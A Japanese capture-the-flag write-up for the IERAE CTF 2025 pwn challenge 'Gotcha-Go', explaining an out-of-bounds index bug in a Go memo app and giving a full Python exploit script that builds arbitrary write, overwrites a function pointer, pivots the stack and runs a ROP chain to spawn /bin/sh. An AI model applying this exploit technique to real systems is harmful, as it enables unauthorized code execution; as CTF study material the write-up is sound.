IERAE CTF 2025にTSGとして参加しました。

pwn: Gotcha-Go (medium, 25 solves) 見出しへのリンク

Go製のメモアプリに対して攻撃を行う問題。メモアプリには特定のIDのメモを作成する(init), 読み込む(info), 書き込む(edit)操作が実装されている。

脆弱性は明らかで、メモのIDに対してなんの制約も掛かっていないので配列外参照が可能になっている。あとは適当なアドレスを書き換えて終わりだと思っていたが、流石にGo製のアプリだけあって、メモリレイアウトやレジスタの使い方がC言語で同様のコードを書いてgccでコンパイルした時とはかなり違うものとなっていた。

checksecの結果は以下の通り。No PIE, No RELROなのでGOTを書き換えて終わりかと思いきや、C言語と同じようにGOTが存在するわけではないため不可能。

$ checksec --file=./ctf
[*] '/ctf/2025/ierae/gotcha-go/ctf'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

問題をより詳しく見る。infoeditを使えば任意のidxについて以下で定義されるようなlに対し、l.list[idx].dataに対して読み書きが可能である。

type Data interface {
	info(int)
	init(*MyStr)
	edit(int)
}

var l Data = &MyList{}

type MyStr struct {
	idx  int
	data [0x30]byte
}

type MyList struct {
	list [16]*MyStr
}

lはグローバル領域に存在し、毎回固定のアドレスに配置されいること、配列の構造とGhidraでの逆アセンブル結果から、これは要するに任意のidxに対して*(0x56bfc0 + idx * 8) + 0x8のアドレスに対して読み書きができることを意味している。

また、メモリ上を観察すると、0x56cde0のアドレスの指す先の8だけ先の領域には0x56c188が毎回格納されていることがわかる。これにより、idx = (0x56cde0 - 0x56bfc0) // 8とすれば、0x56c188に対して任意の値を書き込むことができる。あとは、0x56c188に観察したいアドレスから8引いた値を書き込んでから、idx = (0x56c188 - 0x56bfc0) // 8としてl.list[idx].dataに書き込んだり読み出したりすることで、AAW, AARが可能となる。

あとはAAWでどこに何を書き込むかである。

最初は、0xc000000000以降の適当なアドレスに配置されているGoのstackを適当にoverwriteしてROPすることを考えたが、stackのアドレスは実行ごとに変わり、かつstackへのポインタが格納されているグローバル変数が見当たらなかったことから断念した。

適当にGhidraとgdbをポチポチしていると、l.edit(idx)への関数ポインタが固定のアドレス0x5669c0にあり、それを使って呼び出していることがわかった。AAWもあるので、あとはstack pivotingしてから0xc000000000以降に広がる広大なrw可能な領域を使ってROPをすれば良い。

#!/usr/bin/python3

import sys
from ptrlib import *
import time

REMOTE = ("localhost", 33337)

EXEC = "./ctf"

if len(sys.argv) == 1:
    sock = Process(EXEC)
    IS_REMOTE = False
else:
    assert sys.argv[1] == "remote"
    host, port = REMOTE
    sock = Socket(host, port)
    IS_REMOTE = True

elf = ELF(EXEC)

# 0x000000000056bfc0 + idx * 8

input("[;] Waiting...")

base_addr = 0x56bfc0

ptr_to_global = 0x56cde0
global_addr = 0x56c188

def write_addr(target_addr, value):
    sock.sendlineafter(":\n", "3")
    sock.sendlineafter(":\n", str((ptr_to_global - base_addr) // 8))
    sock.sendline(p64(target_addr - 0x8))

    sock.sendlineafter(":\n", "3")
    sock.sendlineafter(":\n", str((global_addr - base_addr) // 8))
    sock.send(value)

forged_stack_addr = 0xc000010000

payload = b"/bin/sh\x00\n"
write_addr(forged_stack_addr, payload)

payload = b""
payload += p64(0xdeadbeef) # dummy
payload += p64(0x473fc6) # pop rdi; ret
payload += p64(forged_stack_addr)
payload += p64(0x43fec1) # pop rbx; ret
payload += p64(forged_stack_addr + 0x200)
payload += p64(0x46008a) # pop rsi; shl edx, 0xf; adc [rbx+8], eax; ret
write_addr(forged_stack_addr + 0x30, payload)

payload = b""
payload += p64(0)
payload += p64(0x499f93) # pop rax; pop rbp; ret
payload += p64(forged_stack_addr + 0x201)
payload += p64(0xdeadbeef)
payload += p64(0x499f20) # pop rdx; sbb [rax-1], cl; ret
payload += p64(0)
write_addr(forged_stack_addr + 0x60, payload)

payload = b""
payload += p64(0x499f93) # pop rax; pop rbp; ret
payload += p64(59)
payload += p64(0xdeadbeef)
payload += p64(0x48bf14) # syscall
write_addr(forged_stack_addr + 0x90, payload)

forged_stack_addr2 = 0xc000018000
payload = b""
payload += b"A" * 0x18
payload += p64(0x0046d860) # mov rsp, rbx; pop rbp; ret
write_addr(forged_stack_addr2, payload)

write_addr(0x5669c0, p64(forged_stack_addr2))

sock.sendlineafter(":\n", "3")
sock.sendlineafter(":\n", forged_stack_addr + 0x30)

sock.interactive()

l.edit(idx)呼び出し時のidxrbxに格納されることを使って、そこを起点にexecve("/bin/sh", NULL, NULL)を用意している。静的リンクされているのでガジェットは豊富である。結局AARは使わなかった。

おわりに 見出しへのリンク

解いたのは以上1問だけです。

楽しいCTFありがとうございます。力つけて出直してきます。